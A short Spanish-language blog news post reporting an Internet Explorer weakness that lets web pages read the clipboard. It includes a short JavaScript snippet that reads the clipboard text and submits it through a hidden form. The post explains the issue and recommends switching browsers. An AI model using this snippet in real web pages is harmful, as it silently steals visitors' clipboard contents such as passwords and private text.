Vía Kriptopolis nos enteramos que se ha descubierto una nueva y grave vulnerabilidad en Internet Explorer.

La vulnerabilidad consiste en que todo lo que este en la memoria de clipboard puede ser leído por un intruso. El problema radica en la función getData que nos permite crear una variable con el contenido de lo que está en memoria:

var content = clipboardData.getData("Text");

y luego la robamos con un formulario:

document.forms["hf"].elements["topicID"].value = content;
document.forms["hf"].submit();

la recomendación es usar Mozilla Firefox pues Microsoft dice que esto es una "funcionalidad" de Internet Explorer, no un exploit. (???!!)

Permalink: http://www.mononeurona.org/news/view/237

Reference